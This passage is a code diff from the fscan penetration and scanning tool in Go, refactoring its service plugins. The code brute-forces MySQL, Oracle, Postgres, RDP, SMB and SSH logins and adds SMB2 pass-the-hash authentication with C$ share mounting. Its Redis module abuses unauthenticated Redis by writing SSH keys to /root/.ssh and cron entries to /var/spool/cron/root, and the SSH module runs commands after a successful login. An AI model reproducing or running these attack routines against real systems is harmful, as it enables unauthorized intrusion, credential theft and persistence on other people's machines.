 			}
@@ -39,16 +39,16 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
 func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(info.Timeout)*time.Second)
+	dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
 	db, err := sql.Open("mysql", dataSourceName)
 	if err == nil {
-		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
-		db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
+		db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
+		db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
 		db.SetMaxIdleConns(0)
 		defer db.Close()
 		err = db.Ping()
 		if err == nil {
-			result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
+			result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password)
 			common.LogSuccess(result)
 			flag = true
 		}

Plugins/oracle.go

@@ -27,7 +27,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
 				if common.CheckErrs(err) {
 					return err
 				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * info.Timeout) {
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
 					return err
 				}
 			}
@@ -42,13 +42,13 @@ func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err
 	dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
 	db, err := sql.Open("oracle", dataSourceName)
 	if err == nil {
-		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
-		db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
+		db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
+		db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
 		db.SetMaxIdleConns(0)
 		defer db.Close()
 		err = db.Ping()
 		if err == nil {
-			result := fmt.Sprintf("[+] oracle:%v:%v:%v %v", Host, Port, Username, Password)
+			result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password)
 			common.LogSuccess(result)
 			flag = true
 		}

Plugins/portscan.go

@@ -17,6 +17,10 @@ type Addr struct {
 func PortScan(hostslist []string, ports string, timeout int64) []string {
 	var AliveAddress []string
 	probePorts := common.ParsePort(ports)
+	if len(probePorts) == 0 {
+		fmt.Printf("[-] parse port %s error, please check your port format\n", ports)
+		return AliveAddress
+	}
 	noPorts := common.ParsePort(common.NoPorts)
 	if len(noPorts) > 0 {
 		temp := map[int]struct{}{}
@@ -29,7 +33,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
 		}
 
 		var newDatas []int
-		for port, _ := range temp {
+		for port := range temp {
 			newDatas = append(newDatas, port)
 		}
 		probePorts = newDatas
@@ -74,12 +78,8 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
 func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
 	host, port := addr.ip, addr.port
 	conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
 	if err == nil {
+		defer conn.Close()
 		address := host + ":" + strconv.Itoa(port)
 		result := fmt.Sprintf("%s open", address)
 		common.LogSuccess(result)

Plugins/postgres.go

@@ -27,7 +27,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
 				if common.CheckErrs(err) {
 					return err
 				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
 					return err
 				}
 			}
@@ -42,7 +42,7 @@ func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, e
 	dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
 	db, err := sql.Open("postgres", dataSourceName)
 	if err == nil {
-		db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
+		db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
 		defer db.Close()
 		err = db.Ping()
 		if err == nil {

Plugins/rdp.go

@@ -36,21 +36,20 @@ func RdpScan(info *common.HostInfo) (tmperr error) {
 	var num = 0
 	var all = len(common.Userdict["rdp"]) * len(common.Passwords)
 	var mutex sync.Mutex
-	brlist := make(chan Brutelist, all)
+	brlist := make(chan Brutelist)
 	port, _ := strconv.Atoi(info.Ports)
 
+	for i := 0; i < common.BruteThread; i++ {
+		wg.Add(1)
+		go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
+	}
+
 	for _, user := range common.Userdict["rdp"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
 			brlist <- Brutelist{user, pass}
 		}
 	}
-
-	for i := 0; i < common.BruteThread; i++ {
-		wg.Add(1)
-		go worker(info.Host, info.Domain, port, &wg, brlist, &signal, &num, all, &mutex, info.Timeout)
-	}
-
 	close(brlist)
 	go func() {
 		wg.Wait()
@@ -74,9 +73,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
 		if flag == true && err == nil {
 			var result string
 			if domain != "" {
-				result = fmt.Sprintf("[+] RDP:%v:%v:%v\\%v %v", host, port, domain, user, pass)
+				result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
 			} else {
-				result = fmt.Sprintf("[+] RDP:%v:%v:%v %v", host, port, user, pass)
+				result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
 			}
 			common.LogSuccess(result)
 			*signal = true
@@ -127,14 +126,10 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
 
 func (g *Client) Login(domain, user, pwd string, timeout int64) error {
 	conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
 	if err != nil {
 		return fmt.Errorf("[dial err] %v", err)
 	}
+	defer conn.Close()
 	glog.Info(conn.LocalAddr().String())
 
 	g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))

Plugins/redis.go

@@ -4,6 +4,7 @@ import (
 	"bufio"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
+	"io"
 	"net"
 	"os"
 	"strings"
@@ -36,7 +37,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
 			if common.CheckErrs(err) {
 				return err
 			}
-			if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
+			if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
 				return err
 			}
 		}
@@ -47,16 +48,12 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
 func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 	flag = false
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
 	if err != nil {
 		return flag, err
 	}
-	err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+	defer conn.Close()
+	err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
 	if err != nil {
 		return flag, err
 	}
@@ -72,11 +69,11 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 		flag = true
 		dbfilename, dir, err = getconfig(conn)
 		if err != nil {
-			result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
+			result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
 			common.LogSuccess(result)
 			return flag, err
 		} else {
-			result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
+			result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
 			common.LogSuccess(result)
 		}
 		err = Expoilt(realhost, conn)
@@ -87,16 +84,12 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
 	flag = false
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
+	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
 	if err != nil {
 		return flag, err
 	}
-	err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
+	defer conn.Close()
+	err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
 	if err != nil {
 		return flag, err
 	}
@@ -112,11 +105,11 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
 		flag = true
 		dbfilename, dir, err = getconfig(conn)
 		if err != nil {
-			result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
+			result := fmt.Sprintf("[+] Redis %s unauthorized", realhost)
 			common.LogSuccess(result)
 			return flag, err
 		} else {
-			result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
+			result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
 			common.LogSuccess(result)
 		}
 		err = Expoilt(realhost, conn)
@@ -130,7 +123,7 @@ func Expoilt(realhost string, conn net.Conn) error {
 		return err
 	}
 	if flagSsh == true {
-		result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
+		result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost)
 		common.LogSuccess(result)
 		if common.RedisFile != "" {
 			writeok, text, err := writekey(conn, common.RedisFile)
@@ -139,16 +132,16 @@ func Expoilt(realhost string, conn net.Conn) error {
 				return err
 			}
 			if writeok {
-				result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
+				result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost)
 				common.LogSuccess(result)
 			} else {
-				fmt.Println("[-] Redis:", realhost, "SSHPUB write failed", text)
+				fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text)
 			}
 		}
 	}
 
 	if flagCron == true {
-		result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
+		result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost)
 		common.LogSuccess(result)
 		if common.RedisShell != "" {
 			writeok, text, err := writecron(conn, common.RedisShell)
@@ -156,10 +149,10 @@ func Expoilt(realhost string, conn net.Conn) error {
 				return err
 			}
 			if writeok {
-				result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
+				result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost)
 				common.LogSuccess(result)
 			} else {
-				fmt.Println("[-] Redis:", realhost, "cron write failed", text)
+				fmt.Println("[-] Redis ", realhost, "cron write failed", text)
 			}
 		}
 	}
@@ -169,7 +162,7 @@ func Expoilt(realhost string, conn net.Conn) error {
 
 func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
 	flag = false
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
+	_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
 	if err != nil {
 		return flag, text, err
 	}
@@ -178,7 +171,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 		return flag, text, err
 	}
 	if strings.Contains(text, "OK") {
-		_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
+		_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
 		if err != nil {
 			return flag, text, err
 		}
@@ -205,7 +198,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 				return flag, text, err
 			}
 			if strings.Contains(text, "OK") {
-				_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
+				_, err = conn.Write([]byte("save\r\n"))
 				if err != nil {
 					return flag, text, err
 				}
@@ -228,7 +221,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 
 func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 	flag = false
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
+	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
 	if err != nil {
 		return flag, text, err
 	}
@@ -237,7 +230,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 		return flag, text, err
 	}
 	if strings.Contains(text, "OK") {
-		_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
+		_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
 		if err != nil {
 			return flag, text, err
 		}
@@ -260,7 +253,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 				return flag, text, err
 			}
 			if strings.Contains(text, "OK") {
-				_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
+				_, err = conn.Write([]byte("save\r\n"))
 				if err != nil {
 					return flag, text, err
 				}
@@ -297,25 +290,18 @@ func Readfile(filename string) (string, error) {
 	return "", err
 }
 
-func readreply(conn net.Conn) (result string, err error) {
-	size := 5 * 1024
-	buf := make([]byte, size)
-	for {
-		count, err := conn.Read(buf)
-		if err != nil {
-			break
-		}
-		result += string(buf[0:count])
-		if count < size {
-			break
-		}
+func readreply(conn net.Conn) (string, error) {
+	conn.SetReadDeadline(time.Now().Add(time.Second))
+	bytes, err := io.ReadAll(conn)
+	if len(bytes) > 0 {
+		err = nil
 	}
-	return result, err
+	return string(bytes), err
 }
 
 func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
 	var text string
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
+	_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
 	if err != nil {
 		return flag, flagCron, err
 	}
@@ -326,7 +312,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
 	if strings.Contains(text, "OK") {
 		flag = true
 	}
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
+	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
 	if err != nil {
 		return flag, flagCron, err
 	}
@@ -341,7 +327,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
 }
 
 func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
+	_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
 	if err != nil {
 		return
 	}
@@ -355,7 +341,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
 	} else {
 		dbfilename = text1[0]
 	}
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
+	_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
 	if err != nil {
 		return
 	}
@@ -377,7 +363,7 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
 	if err != nil {
 		return
 	}
-	dbfilename, err = readreply(conn)
+	_, err = readreply(conn)
 	if err != nil {
 		return
 	}
@@ -385,7 +371,7 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
 	if err != nil {
 		return
 	}
-	dir, err = readreply(conn)
+	_, err = readreply(conn)
 	if err != nil {
 		return
 	}

Plugins/scanner.go

@@ -1,7 +1,6 @@
 package Plugins
 
 import (
-	"errors"
 	"fmt"
 	"github.com/shadow1ng/fscan/WebScan/lib"
 	"github.com/shadow1ng/fscan/common"
@@ -18,30 +17,40 @@ func Scan(info common.HostInfo) {
 		fmt.Println("len(hosts)==0", err)
 		return
 	}
-	lib.Inithttp(common.Pocinfo)
+	lib.Inithttp()
 	var ch = make(chan struct{}, common.Threads)
 	var wg = sync.WaitGroup{}
-	if len(Hosts) > 0 {
-		if common.IsPing == false {
+	web := strconv.Itoa(common.PORTList["web"])
+	ms17010 := strconv.Itoa(common.PORTList["ms17010"])
+	if len(Hosts) > 0 || len(common.HostPort) > 0 {
+		if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" {
 			Hosts = CheckLive(Hosts, common.Ping)
 			fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
 		}
-		if info.Scantype == "icmp" {
+		if common.Scantype == "icmp" {
 			common.LogWG.Wait()
 			return
 		}
 		var AlivePorts []string
-		if info.Scantype == "webonly" {
-			AlivePorts = NoPortScan(Hosts, info.Ports)
-		} else {
-			AlivePorts = PortScan(Hosts, info.Ports, info.Timeout)
+		if common.Scantype == "webonly" || common.Scantype == "webpoc" {
+			AlivePorts = NoPortScan(Hosts, common.Ports)
+		} else if common.Scantype == "hostname" {
+			common.Ports = "139"
+			AlivePorts = NoPortScan(Hosts, common.Ports)
+		} else if len(Hosts) > 0 {
+			AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
 			fmt.Println("[*] alive ports len is:", len(AlivePorts))
-			if info.Scantype == "portscan" {
+			if common.Scantype == "portscan" {
 				common.LogWG.Wait()
 				return
 			}
 		}
-
+		if len(common.HostPort) > 0 {
+			AlivePorts = append(AlivePorts, common.HostPort...)
+			AlivePorts = common.RemoveDuplicate(AlivePorts)
+			common.HostPort = nil
+			fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
+		}
 		var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
 		for _, port := range common.PORTList {
 			severports = append(severports, strconv.Itoa(port))
@@ -49,76 +58,63 @@ func Scan(info common.HostInfo) {
 		fmt.Println("start vulscan")
 		for _, targetIP := range AlivePorts {
 			info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
-			if info.Scantype == "all" || info.Scantype == "main" {
+			if common.Scantype == "all" || common.Scantype == "main" {
 				switch {
 				case info.Ports == "135":
-					AddScan(info.Ports, info, ch, &wg) //findnet
+					AddScan(info.Ports, info, &ch, &wg) //findnet
+					if common.IsWmi {
+						AddScan("1000005", info, &ch, &wg) //wmiexec
+					}
 				case info.Ports == "445":
+					AddScan(ms17010, info, &ch, &wg) //ms17010
 					//AddScan(info.Ports, info, ch, &wg)  //smb
-					AddScan("1000001", info, ch, &wg) //ms17010
 					//AddScan("1000002", info, ch, &wg) //smbghost
 				case info.Ports == "9000":
-					AddScan(info.Ports, info, ch, &wg) //fcgiscan
-					AddScan("1000003", info, ch, &wg)  //http
+					AddScan(web, info, &ch, &wg)        //http
+					AddScan(info.Ports, info, &ch, &wg) //fcgiscan
 				case IsContain(severports, info.Ports):
-					AddScan(info.Ports, info, ch, &wg) //plugins scan
+					AddScan(info.Ports, info, &ch, &wg) //plugins scan
 				default:
-					AddScan("1000003", info, ch, &wg) //webtitle
+					AddScan(web, info, &ch, &wg) //webtitle
 				}
 			} else {
-				port, _ := common.PORTList[info.Scantype]
-				scantype := strconv.Itoa(port)
-				AddScan(scantype, info, ch, &wg)
+				scantype := strconv.Itoa(common.PORTList[common.Scantype])
+				AddScan(scantype, info, &ch, &wg)
 			}
 		}
 	}
-	if common.URL != "" {
-		info.Url = common.URL
-		AddScan("1000003", info, ch, &wg)
-	}
-	if len(common.Urls) > 0 {
-		for _, url := range common.Urls {
-			info.Url = url
-			AddScan("1000003", info, ch, &wg)
-		}
+	for _, url := range common.Urls {
+		info.Url = url
+		AddScan(web, info, &ch, &wg)
 	}
 	wg.Wait()
 	common.LogWG.Wait()
 	close(common.Results)
-	fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
+	fmt.Printf("已完成 %v/%v\n", common.End, common.Num)
 }
 
 var Mutex = &sync.Mutex{}
 
-func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
+func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
+	*ch <- struct{}{}
 	wg.Add(1)
 	go func() {
 		Mutex.Lock()
 		common.Num += 1
 		Mutex.Unlock()
-		ScanFunc(PluginList, scantype, &info)
+		ScanFunc(&scantype, &info)
 		Mutex.Lock()
 		common.End += 1
 		Mutex.Unlock()
-		<-ch
 		wg.Done()
+		<-*ch
 	}()
-	ch <- struct{}{}
 }
 
-func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
-	f := reflect.ValueOf(m[name])
-	if len(infos) != f.Type().NumIn() {
-		err = errors.New("The number of infos is not adapted ")
-		fmt.Println(err.Error())
-		return result, nil
-	}
-	in := make([]reflect.Value, len(infos))
-	for k, info := range infos {
-		in[k] = reflect.ValueOf(info)
-	}
-	result = f.Call(in)
-	return result, nil
+func ScanFunc(name *string, info *common.HostInfo) {
+	f := reflect.ValueOf(PluginList[*name])
+	in := []reflect.Value{reflect.ValueOf(info)}
+	f.Call(in)
 }
 
 func IsContain(items []string, item string) bool {

Plugins/smb.go

@@ -20,10 +20,10 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
 			flag, err := doWithTimeOut(info, user, pass)
 			if flag == true && err == nil {
 				var result string
-				if info.Domain != "" {
-					result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
+				if common.Domain != "" {
+					result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
 				} else {
-					result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
+					result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass)
 				}
 				common.LogSuccess(result)
 				return err
@@ -35,7 +35,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
 				if common.CheckErrs(err) {
 					return err
 				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
 					return err
 				}
 			}
@@ -52,7 +52,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
 		Port:        445,
 		User:        Username,
 		Password:    Password,
-		Domain:      info.Domain,
+		Domain:      common.Domain,
 		Workstation: "",
 	}
 
@@ -75,7 +75,7 @@ func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool,
 	select {
 	case <-signal:
 		return flag, err
-	case <-time.After(time.Duration(info.Timeout) * time.Second):
+	case <-time.After(time.Duration(common.Timeout) * time.Second):
 		return false, errors.New("time out")
 	}
 }

Plugins/smb2.go

@@ -0,0 +1,172 @@
+package Plugins
+
+import (
+	"fmt"
+	"github.com/shadow1ng/fscan/common"
+	"net"
+	"os"
+	"strings"
+	"time"
+
+	"github.com/hirochachacha/go-smb2"
+)
+
+func SmbScan2(info *common.HostInfo) (tmperr error) {
+	if common.IsBrute {
+		return nil
+	}
+	hasprint := false
+	starttime := time.Now().Unix()
+	hash := common.HashBytes
+	for _, user := range common.Userdict["smb"] {
+	PASS:
+		for _, pass := range common.Passwords {
+			pass = strings.Replace(pass, "{user}", user, -1)
+			flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
+			if flag2 {
+				hasprint = true
+			}
+			if flag == true {
+				var result string
+				if common.Domain != "" {
+					result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
+				} else {
+					result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
+				}
+				if len(hash) > 0 {
+					result += "hash: " + common.Hash
+				} else {
+					result += pass
+				}
+				common.LogSuccess(result)
+				return err
+			} else {
+				var errlog string
+				if len(common.Hash) > 0 {
+					errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
+				} else {
+					errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
+				}
+				errlog = strings.Replace(errlog, "\n", " ", -1)
+				common.LogError(errlog)
+				tmperr = err
+				if common.CheckErrs(err) {
+					return err
+				}
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
+					return err
+				}
+			}
+			if len(common.Hash) > 0 {
+				break PASS
+			}
+		}
+	}
+	return tmperr
+}
+
+func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
+	conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
+	if err != nil {
+		return
+	}
+	defer conn.Close()
+	initiator := smb2.NTLMInitiator{
+		User:   user,
+		Domain: common.Domain,
+	}
+	if len(hash) > 0 {
+		initiator.Hash = hash
+	} else {
+		initiator.Password = pass
+	}
+	d := &smb2.Dialer{
+		Initiator: &initiator,
+	}
+
+	s, err := d.Dial(conn)
+	if err != nil {
+		return
+	}
+	defer s.Logoff()
+	names, err := s.ListSharenames()
+	if err != nil {
+		return
+	}
+	if !hasprint {
+		var result string
+		if common.Domain != "" {
+			result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
+		} else {
+			result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user)
+		}
+		if len(hash) > 0 {
+			result += "hash: " + common.Hash
+		} else {
+			result += pass
+		}
+		result = fmt.Sprintf("%v shares: %v", result, names)
+		common.LogSuccess(result)
+		flag2 = true
+	}
+	fs, err := s.Mount("C$")
+	if err != nil {
+		return
+	}
+	defer fs.Umount()
+	path := `Windows\win.ini`
+	f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
+	if err != nil {
+		return
+	}
+	defer f.Close()
+	flag = true
+	return
+	//bs, err := ioutil.ReadAll(f)
+	//if err != nil {
+	//	return
+	//}
+	//fmt.Println(string(bs))
+	//return
+
+}
+
+//if info.Path == ""{
+//}
+//path = info.Path
+//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
+//if err != nil {
+//	return
+//}
+//flag = true
+//_, err = f.Seek(0, io.SeekStart)
+//if err != nil {
+//	return
+//}
+//bs, err := ioutil.ReadAll(f)
+//if err != nil {
+//	return
+//}
+//fmt.Println(string(bs))
+//return
+//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
+//if err != nil {
+//	return
+//}
+//flag = true
+//
+//_, err = f.Write([]byte("Hello world!"))
+//if err != nil {
+//	return
+//}
+//
+//_, err = f.Seek(0, io.SeekStart)
+//if err != nil {
+//	return
+//}
+//bs, err := ioutil.ReadAll(f)
+//if err != nil {
+//	return
+//}
+//fmt.Println(string(bs))
+//return

Plugins/ssh.go

@@ -29,11 +29,11 @@ func SshScan(info *common.HostInfo) (tmperr error) {
 				if common.CheckErrs(err) {
 					return err
 				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
+				if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
 					return err
 				}
 			}
-			if info.SshKey != "" {
+			if common.SshKey != "" {
 				return err
 			}
 		}
@@ -44,9 +44,9 @@ func SshScan(info *common.HostInfo) (tmperr error) {
 func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
-	Auth := []ssh.AuthMethod{}
-	if info.SshKey != "" {
-		pemBytes, err := ioutil.ReadFile(info.SshKey)
+	var Auth []ssh.AuthMethod
+	if common.SshKey != "" {
+		pemBytes, err := ioutil.ReadFile(common.SshKey)
 		if err != nil {
 			return false, errors.New("read key failed" + err.Error())
 		}
@@ -62,7 +62,7 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
 	config := &ssh.ClientConfig{
 		User:    Username,
 		Auth:    Auth,
-		Timeout: time.Duration(info.Timeout) * time.Second,
+		Timeout: time.Duration(common.Timeout) * time.Second,
 		HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
 			return nil
 		},
@@ -76,17 +76,17 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
 			defer session.Close()
 			flag = true
 			var result string
-			if info.Command != "" {
-				combo, _ := session.CombinedOutput(info.Command)
-				result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
-				if info.SshKey != "" {
-					result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
+			if common.Command != "" {
+				combo, _ := session.CombinedOutput(common.Command)
+				result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
+				if common.SshKey != "" {
+					result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo))
 				}
 				common.LogSuccess(result)
 			} else {
-				result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
-				if info.SshKey != "" {
